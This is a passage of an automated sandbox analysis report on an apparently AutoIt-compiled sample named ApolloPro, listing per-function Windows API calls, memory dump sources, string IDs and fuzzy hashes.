                                                                    • timeGetTime.WINMM ref: 00815535
                                                                      • Part of subcall function 007D0859: timeGetTime.WINMM(?,00000002,007BC22C), ref: 007D085D
                                                                    • Sleep.KERNEL32(0000000A), ref: 00815561
                                                                    • EnumThreadWindows.USER32(?,Function_000654E3,00000000), ref: 00815585
                                                                    • FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 008155A7
                                                                    • SetActiveWindow.USER32 ref: 008155C6
                                                                    • SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 008155D4
                                                                    • SendMessageW.USER32(00000010,00000000,00000000), ref: 008155F3
                                                                    • Sleep.KERNEL32(000000FA), ref: 008155FE
                                                                    • IsWindow.USER32 ref: 0081560A
                                                                    • EndDialog.USER32(00000000), ref: 0081561B
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
                                                                    • String ID: BUTTON
                                                                    • API String ID: 1194449130-3405671355
                                                                    • Opcode ID: e4c9a4f2f40379703d6ad89394d3a70ed83580d071b4559c041b30fc06e4e3c9
                                                                    • Instruction ID: 5501eaddeb584e221526eb12bd2507c3011bcc46103995c3a5e426aee6fd1409
                                                                    • Opcode Fuzzy Hash: e4c9a4f2f40379703d6ad89394d3a70ed83580d071b4559c041b30fc06e4e3c9
                                                                    • Instruction Fuzzy Hash: C4218E78648604EFE7405B60EC8DAA63B6EFF95349F001018F60AC2261EF718DD0DE62
                                                                    Function 0081DBD0 Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007B4D37: __itow.LIBCMT ref: 007B4D62
                                                                      • Part of subcall function 007B4D37: __swprintf.LIBCMT ref: 007B4DAC
                                                                    • CoInitialize.OLE32(00000000), ref: 0081DC2D
                                                                    • SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 0081DCC0
                                                                    • SHGetDesktopFolder.SHELL32(?), ref: 0081DCD4
                                                                    • CoCreateInstance.OLE32(00843D4C,00000000,00000001,0086B86C,?), ref: 0081DD20
                                                                    • SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 0081DD8F
                                                                    • CoTaskMemFree.OLE32(?,?), ref: 0081DDE7
                                                                    • _memset.LIBCMT ref: 0081DE24
                                                                    • SHBrowseForFolderW.SHELL32(?), ref: 0081DE60
                                                                    • SHGetPathFromIDListW.SHELL32(00000000,?), ref: 0081DE83
                                                                    • CoTaskMemFree.OLE32(00000000), ref: 0081DE8A
                                                                    • CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 0081DEC1
                                                                    • CoUninitialize.OLE32(00000001,00000000), ref: 0081DEC3
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
                                                                    • String ID:
                                                                    • API String ID: 1246142700-0
                                                                    • Opcode ID: 1649c147dc86b049a985df6117209c13bc42db8ae572adf2cd66f759047cad5d
                                                                    • Instruction ID: cafb5b715db07b366948850da148fca84ce6e3ff1cdc180c4dce3d413f31d44a
                                                                    • Opcode Fuzzy Hash: 1649c147dc86b049a985df6117209c13bc42db8ae572adf2cd66f759047cad5d
                                                                    • Instruction Fuzzy Hash: 38B1D975A00219EFDB04DFA4C889EAEBBB9FF49304B148469E905EB251DB34ED45CF90
                                                                    Function 0081081B Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetKeyboardState.USER32(?), ref: 00810896
                                                                    • SetKeyboardState.USER32(?), ref: 00810901
                                                                    • GetAsyncKeyState.USER32(000000A0), ref: 00810921
                                                                    • GetKeyState.USER32(000000A0), ref: 00810938
                                                                    • GetAsyncKeyState.USER32(000000A1), ref: 00810967
                                                                    • GetKeyState.USER32(000000A1), ref: 00810978
                                                                    • GetAsyncKeyState.USER32(00000011), ref: 008109A4
                                                                    • GetKeyState.USER32(00000011), ref: 008109B2
                                                                    • GetAsyncKeyState.USER32(00000012), ref: 008109DB
                                                                    • GetKeyState.USER32(00000012), ref: 008109E9
                                                                    • GetAsyncKeyState.USER32(0000005B), ref: 00810A12
                                                                    • GetKeyState.USER32(0000005B), ref: 00810A20
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: State$Async$Keyboard
                                                                    • String ID:
                                                                    • API String ID: 541375521-0
                                                                    • Opcode ID: a0cb965549fcd4ebc798855c455872d74f818cad6838b22a0bbba723f2afdfed
                                                                    • Instruction ID: 4cb458bb466fa7cb9c30bdb578f9a95d20a266c67af56cdfbb023e6d8e504d01
                                                                    • Opcode Fuzzy Hash: a0cb965549fcd4ebc798855c455872d74f818cad6838b22a0bbba723f2afdfed
                                                                    • Instruction Fuzzy Hash: 7751AB24A0879819FB35DB644C157EABFB8FF01780F08459995C2DB1C3DAA49ACCCF96
                                                                    Function 0080CE00 Relevance: 18.2, APIs: 12, Instructions: 174COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetDlgItem.USER32(?,00000001), ref: 0080CE1C
                                                                    • GetWindowRect.USER32(00000000,?), ref: 0080CE2E
                                                                    • MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 0080CE8C
                                                                    • GetDlgItem.USER32(?,00000002), ref: 0080CE97
                                                                    • GetWindowRect.USER32(00000000,?), ref: 0080CEA9
                                                                    • MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 0080CEFD
                                                                    • GetDlgItem.USER32(?,000003E9), ref: 0080CF0B
                                                                    • GetWindowRect.USER32(00000000,?), ref: 0080CF1C
                                                                    • MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 0080CF5F
                                                                    • GetDlgItem.USER32(?,000003EA), ref: 0080CF6D
                                                                    • MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 0080CF8A
                                                                    • InvalidateRect.USER32(?,00000000,00000001), ref: 0080CF97
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Window$ItemMoveRect$Invalidate
                                                                    • String ID:
                                                                    • API String ID: 3096461208-0
                                                                    • Opcode ID: feb3c48dc6543ab9a811ea092a82ec6fe2867d52d49d0d5fcecdf2425d425e6a
                                                                    • Instruction ID: a256204b59215d14a0dce64b070878ce6ca5ce62680ee2528ab6bb1a8c977b5b
                                                                    • Opcode Fuzzy Hash: feb3c48dc6543ab9a811ea092a82ec6fe2867d52d49d0d5fcecdf2425d425e6a
                                                                    • Instruction Fuzzy Hash: 4E514175B00205AFDB18CFA8CD85A6EBBB6FB88711F148229F616D62D0DB70AD00CB50
                                                                    Function 007B23F7 Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007B1F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,007B2412,?,00000000,?,?,?,?,007B1AA7,00000000,?), ref: 007B1F76
                                                                    • DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 007B24AF
                                                                    • KillTimer.USER32(-00000001,?,?,?,?,007B1AA7,00000000,?,?,007B1EBE,?,?), ref: 007B254A
                                                                    • DestroyAcceleratorTable.USER32(00000000), ref: 007EBFE7
                                                                    • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,007B1AA7,00000000,?,?,007B1EBE,?,?), ref: 007EC018
                                                                    • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,007B1AA7,00000000,?,?,007B1EBE,?,?), ref: 007EC02F
                                                                    • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,007B1AA7,00000000,?,?,007B1EBE,?,?), ref: 007EC04B
                                                                    • DeleteObject.GDI32(00000000), ref: 007EC05D
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
                                                                    • String ID:
                                                                    • API String ID: 641708696-0
                                                                    • Opcode ID: d2147041ad702a19296a73fb760798bf6f15c855bbd58ca56e92d6ba761b0c6c
                                                                    • Instruction ID: 139acafe05646d97fc0e37b2ee68931d329af6c14c5f4215c2ca4c00efe40dc9
                                                                    • Opcode Fuzzy Hash: d2147041ad702a19296a73fb760798bf6f15c855bbd58ca56e92d6ba761b0c6c
                                                                    • Instruction Fuzzy Hash: 3061DA34116640DFCB369F15CD0CB6A7BB1FB44312F108528E14A8A965C739ECA2DF91
                                                                    Function 007B2581 Relevance: 18.1, APIs: 12, Instructions: 132COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007B29AB: GetWindowLongW.USER32(?,000000EB), ref: 007B29BC
                                                                    • GetSysColor.USER32(0000000F), ref: 007B25AF
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ColorLongWindow
                                                                    • String ID:
                                                                    • API String ID: 259745315-0
                                                                    • Opcode ID: 0ceb0a04e2f3cb62d0aa490444a1557f76ab4be07f90a5adeeffeb5e41dd6e63
                                                                    • Instruction ID: 6d410494a1aa8eb3901f55ee49b045a0113b90d4b9949bb5d4982d04f34e1d82
                                                                    • Opcode Fuzzy Hash: 0ceb0a04e2f3cb62d0aa490444a1557f76ab4be07f90a5adeeffeb5e41dd6e63
                                                                    • Instruction Fuzzy Hash: 0941C235006140AFDB255F289C88BFA3765FB0A335F194265FE658A1E6D7388C43DF21
                                                                    Function 007C29BE Relevance: 18.0, APIs: 4, Strings: 6, Instructions: 478COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007D0B8B: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,007C2A3E,?,00008000), ref: 007D0BA7
                                                                      • Part of subcall function 007D0284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,007C2A58,?,00008000), ref: 007D02A4
                                                                    • SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 007C2ADF
                                                                    • SetCurrentDirectoryW.KERNEL32(?), ref: 007C2C2C
                                                                      • Part of subcall function 007C3EBE: _wcscpy.LIBCMT ref: 007C3EF6
                                                                      • Part of subcall function 007D386D: _iswctype.LIBCMT ref: 007D3875
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
                                                                    • String ID: #include depth exceeded. Make sure there are no recursive includes$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
                                                                    • API String ID: 537147316-3738523708
                                                                    • Opcode ID: 3f97693a70be2ebea5f6d68728365b9622fdf74eccab569e537d0fcaecc235cd
                                                                    • Instruction ID: b0d116ebd1df6432399394468c1b00f288e67c7f26b372a921568c8879076463
                                                                    • Opcode Fuzzy Hash: 3f97693a70be2ebea5f6d68728365b9622fdf74eccab569e537d0fcaecc235cd
                                                                    • Instruction Fuzzy Hash: 91027970108341DFC724EF24C895EAFBBE5BF89314F10492DF599932A2DB389A49CB52
                                                                    Function 0081AEEA Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CharLowerBuffW.USER32(?,?,00840980), ref: 0081AF4E
                                                                    • GetDriveTypeW.KERNEL32(00000061,0086B5F0,00000061), ref: 0081B018
                                                                    • _wcscpy.LIBCMT ref: 0081B042
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: BuffCharDriveLowerType_wcscpy
                                                                    • String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
                                                                    • API String ID: 2820617543-1000479233
                                                                    • Opcode ID: 409626bc629cc842290c0bd122b0a8bafcec106e3e2171bf934132e8dd8e8b82
                                                                    • Instruction ID: 4a4293b0fad78c2775742304f6779c9c96705de115c176bb79c563eaf0a417de
                                                                    • Opcode Fuzzy Hash: 409626bc629cc842290c0bd122b0a8bafcec106e3e2171bf934132e8dd8e8b82
                                                                    • Instruction Fuzzy Hash: CC51AE70208305DBC314EF14C895AEAB7A9FF95314F50482EF596D72A2DB30DD8ACA93
                                                                    Function 007B4D37 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: __i64tow__itow__swprintf
                                                                    • String ID: %.15g$0x%p$False$True
                                                                    • API String ID: 421087845-2263619337
                                                                    • Opcode ID: 713b30ad62074b31e15af5c75f399bdf451bc7307fdb6f0acb0fdebf70000bce
                                                                    • Instruction ID: 50cfa317fdecc0448a127859fb3ec974f812ecb748ba2497e91f614237431913
                                                                    • Opcode Fuzzy Hash: 713b30ad62074b31e15af5c75f399bdf451bc7307fdb6f0acb0fdebf70000bce
                                                                    • Instruction Fuzzy Hash: 0E41B371604609EFDB34DF64D845FBA73F8EB49300F20446EE649D7392EA799D428711
                                                                    Function 00837777 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 0083778F
                                                                    • CreateMenu.USER32 ref: 008377AA
                                                                    • SetMenu.USER32(?,00000000), ref: 008377B9
                                                                    • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00837846
                                                                    • IsMenu.USER32(?), ref: 0083785C
                                                                    • CreatePopupMenu.USER32 ref: 00837866
                                                                    • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00837893
                                                                    • DrawMenuBar.USER32 ref: 0083789B
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
                                                                    • String ID: 0$F
                                                                    • API String ID: 176399719-3044882817
                                                                    • Opcode ID: e581c14505f9323e09956b6025ae6dac4655265d323536031d2c6df732f80d33
                                                                    • Instruction ID: 6f233ebddb8af3c9b72bc716e5056db2e3c5c69bda17f31542c9ef614463a6a5
                                                                    • Opcode Fuzzy Hash: e581c14505f9323e09956b6025ae6dac4655265d323536031d2c6df732f80d33
                                                                    • Instruction Fuzzy Hash: 1A4138B8A00209EFDB20DF64D888A9A7BB5FF89310F154029EE45E7360D731E910CF94
                                                                    Function 00837AE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00837B83
                                                                    • CreateCompatibleDC.GDI32(00000000), ref: 00837B8A
                                                                    • SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00837B9D
                                                                    • SelectObject.GDI32(00000000,00000000), ref: 00837BA5
                                                                    • GetPixel.GDI32(00000000,00000000,00000000), ref: 00837BB0
                                                                    • DeleteDC.GDI32(00000000), ref: 00837BB9
                                                                    • GetWindowLongW.USER32(?,000000EC), ref: 00837BC3
                                                                    • SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 00837BD7
                                                                    • DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 00837BE3
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
                                                                    • String ID: static
                                                                    • API String ID: 2559357485-2160076837
                                                                    • Opcode ID: fde63c6051c8fa221f9603cb75dac0277a30003c7139248c98ccf0e619e0cf6a
                                                                    • Instruction ID: b377f2f9e9c5fbbd4cb76ad014e3bdf0a578e32d15101e7c6c7caf23a3b1f7b2
                                                                    • Opcode Fuzzy Hash: fde63c6051c8fa221f9603cb75dac0277a30003c7139248c98ccf0e619e0cf6a
                                                                    • Instruction Fuzzy Hash: 4231A976104218ABDF219FA4DC48FDB7B69FF4A320F110214FA59E21A0C735D821DFA0
                                                                    Function 007D7030 Relevance: 16.8, APIs: 11, Instructions: 258COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 007D706B
                                                                      • Part of subcall function 007D8D58: __getptd_noexit.LIBCMT ref: 007D8D58
                                                                    • __gmtime64_s.LIBCMT ref: 007D7104
                                                                    • __gmtime64_s.LIBCMT ref: 007D713A
                                                                    • __gmtime64_s.LIBCMT ref: 007D7157
                                                                    • __allrem.LIBCMT ref: 007D71AD
                                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 007D71C9
                                                                    • __allrem.LIBCMT ref: 007D71E0
                                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 007D71FE
                                                                    • __allrem.LIBCMT ref: 007D7215
                                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 007D7233
                                                                    • __invoke_watson.LIBCMT ref: 007D72A4
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
                                                                    • String ID:
                                                                    • API String ID: 384356119-0
                                                                    • Opcode ID: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
                                                                    • Instruction ID: 3d990d1ec8a8a9bf46b730cc0b2d615f2a9d15571fabfdba8a22f72d499af471
                                                                    • Opcode Fuzzy Hash: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
                                                                    • Instruction Fuzzy Hash: 1271E271A04756EBD7189A79CC86B5AB3B9AF54320F14422BF514E73C1F778EA40C790
                                                                    Function 00812CCE Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 00812CE9
                                                                    • GetMenuItemInfoW.USER32(00877890,000000FF,00000000,00000030), ref: 00812D4A
                                                                    • SetMenuItemInfoW.USER32(00877890,00000004,00000000,00000030), ref: 00812D80
                                                                    • Sleep.KERNEL32(000001F4), ref: 00812D92
                                                                    • GetMenuItemCount.USER32(?), ref: 00812DD6
                                                                    • GetMenuItemID.USER32(?,00000000), ref: 00812DF2
                                                                    • GetMenuItemID.USER32(?,-00000001), ref: 00812E1C
                                                                    • GetMenuItemID.USER32(?,?), ref: 00812E61
                                                                    • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00812EA7
                                                                    • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00812EBB
                                                                    • SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00812EDC
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ItemMenu$Info$CheckCountRadioSleep_memset
                                                                    • String ID:
                                                                    • API String ID: 4176008265-0
